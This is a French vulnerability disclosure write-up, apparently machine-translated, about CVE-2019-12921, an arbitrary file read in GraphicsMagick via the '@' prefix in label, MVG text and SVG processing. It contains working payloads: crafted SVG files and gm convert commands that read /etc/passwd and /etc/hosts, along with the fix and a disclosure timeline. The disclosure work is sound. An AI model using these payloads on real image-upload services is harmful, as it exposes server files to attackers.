La tragédie ne vient pas seule


En 2016, la vulnérabilité ImageTragick dans ImageMagick a fait beaucoup de bruit. Afin de réduire le risque, il a été proposé d'utiliser GraphicsMagick , un fork de la bibliothèque ImageMagick, destiné à une API plus stable et plus productive. La vulnérabilité d'origine CVE-2016-3717, découverte par stewie , permettait à un attaquant de lire un fichier arbitraire sur le système de fichiers à l'aide d'une image spécialement conçue. Aujourd'hui, je considérerai une vulnérabilité similaire dans GraphicsMagick que j'ai découverte en analysant le code source de la bibliothèque.


L'exploit d'origine via le pseudoprotocole «label» du site ImageTragick ne fonctionnera pas.


push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context 


La raison en est que l'algorithme de traitement d'image ImagePrimitive du fichier render.c ReadImage ne peut pas traiter la chaîne d'étiquette: @ / etc / passwd en tant qu'image et renverra une erreur Impossible d'ouvrir le fichier. Code de fonction:


 #define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) ) { ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text); status=MagickFail; } 

Néanmoins, la possibilité de lire n'importe quelle image sur le système de fichiers reste, mais ne peut être utilisée que pour collecter des informations internes. Un exemple du fonctionnement de cette "fonctionnalité" peut être trouvé dans les rapports des programmes BugBounty, par exemple ici .
Cela m'a amené à étudier en détail l'implémentation du codec Label dans GraphicsMagick. Pour ce faire, nous effectuons la conversion:


 $ gm convert label:@etc/passwd output.png 

La bibliothèque renvoie la première ligne du fichier / etc / passwd, ce qui signifie que le pseudo-protocole reste vulnérable, mais dans la plupart des cas, il ne convient pas à un attaquant, car il n'y a aucune possibilité d'affecter la ligne de commande. Pour comprendre comment exploiter cette «fonctionnalité», examinons les raisons. Le pseudo-protocole d'étiquette convertit une chaîne à l'aide de la fonction TranslateTextEx:


 text=(char *) formatted_text; /* If text starts with '@' then try to replace it with the content of the file name which follows. */ if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); } 

La fonction accepte le paramètre d'entrée formated_text et si la ligne commence par le caractère spécial '@', alors la ligne suivante est perçue par GM comme le chemin d'accès complet au fichier à partir duquel il est nécessaire de lire le contenu pour la transformation. Examinons d'autres endroits où cette fonction est utilisée, qui peuvent être exploités par un attaquant.


  1. /coders/msl.c est une pluralité d'occurrences, mais GM utilise ce langage comme langage de script pour la commande conjure et ne sera pas abordé dans cet article. L'opération est possible, mais nécessitera une logique d'application spécifique
  2. /magick/attribute.c gestion des attributs d'image. La fonction TranslateText est appelée pour les attributs de commentaire et d'étiquette lorsqu'ils sont transmis directement par l'utilisateur, plutôt que d'être stockés dans l'image elle-même. Le développeur nous a laissé un petit conseil:


      Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open. 

    Mais que se passe-t-il si le traitement par la fonction SetImageAttribute de l'image est effectué après le tog as, blob est fermé. Il s'avère qu'il existe un tel codec - SVG. La chaîne d'appels à la fonction ReadSVGImage est la suivante:


    • XML Parser s'arrête
    • CloseBlob (image) ferme le blob
    • Le délégué MVG effectue la conversion
    • SetImageAttribute (image, "comment", svg_info.comment) les attributs de commentaire et de titre seront écrits dans l'image.


Pour une exploitation réussie, un attaquant a besoin du format final pour prendre en charge ces attributs, par exemple GIF, JPEG.


 <?xml version="1.0" standalone="no"?> <!--@/etc/passwd--> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/> </svg> 

 $ gm convert exploit.svg output.gif $ gm convert exploit.svg output.jpeg 


  1. /magick/annotate.c ce qui suit est une bonne option pour exploiter la fonction AnnotateImage, qui est utilisée:
    • /coders/txt.c est similaire au protocole TXT du pseudo-protocole Lablel: ce qui n'est pas particulièrement intéressant, car son fonctionnement nécessite l'accès à la ligne de commande.
    • /magick/render.c Et nous voici arrivés à notre exploit final pour le texte primitif Magick Vector Graphics , qui a une syntaxe assez simple:

 text "text" 

Une opération réussie est possible si la ligne commence par le caractère spécial '@'.


 $ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png 

Cette méthode est extrêmement rare dans une application réelle, mais il existe un moyen d'exploiter cette vulnérabilité à l'aide de délégués. Le délégué est un processeur d'image externe dont le format n'est pas pris en charge par la bibliothèque. Il existe un certain nombre de codecs qui sont convertis en un fichier temporaire et le traitement ultérieur est effectué par le pseudo-protocole MVG. Comme indiqué précédemment, ce codec est SVG.


Opération CVE-2019-12921


L'image XML Parser SVG convertit le balisage en un fichier intermédiaire:


 FormatString(clone_info->filename,”mvg:%.1024s",filename); 

La conversion de balise img a le code suivant:


  case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; } 

Pour l'exploitation, nous devons rompre le contexte de la chaîne avec le guillemet habituel et ajouter notre exploit:


 <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/> </svg> 

 $ gm convert exploit.svg output.png 

Image finale


Le fonctionnement pour d'autres codecs utilisant MVG delegate sera à la discrétion du lecteur.


La protection


Une version mise à jour de GM est disponible sur le site Web du fabricant. Le correctif supprime actuellement la prise en charge des fichiers à l'aide du symbole spécial @, les ensembles de modifications Mercurial 16037: f780c290b4ab et 16038: 44e3d0e872eb pour la fonction TranslateTextEx. Selon les développeurs, à l'avenir, cette logique sera restituée dans une implémentation plus sécurisée. Comme solution de contournement, conseille d'utiliser la variable d'environnement MAGICK_CODER_STABILITY = PRIMARY


Chronologie


Les informations sur la vulnérabilité ont été transférées au développeur le 6 juin 2019, un correctif a été publié plus tard dans la journée. Le 15 juin 2019, une lettre d'information a été publiée sur www.openwall.com . Le 20 juin 2019, CVE-2019-12921 a été affecté à ce problème.

Source: https://habr.com/ru/post/fr458926/


All Articles